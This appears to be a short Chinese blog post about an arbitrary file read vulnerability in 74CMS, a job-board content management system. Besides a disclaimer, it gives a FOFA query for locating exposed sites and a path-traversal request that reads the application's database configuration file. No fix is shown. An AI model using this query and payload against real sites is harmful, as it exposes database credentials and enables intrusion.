超级会员免费看
本文详细介绍了74CMS系统存在的任意文件读取漏洞，包括漏洞描述、免责声明、受影响资产的确定及如何复现该漏洞的过程。同时，文中提及修复方案，提醒读者此类信息仅供学习，禁止非法使用。
漏洞描述
74CMS 是一款国内用的比较多招聘网站管理系统（Job Board CMS），专注于招聘和人力资源领域的网站建设，存在任意文件读取漏洞
免责声明
技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！
资产确定
fofa body="74cmsse"
漏洞复现
/index/download/index?name=index.php&url=../../application/database.php
扫一扫
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
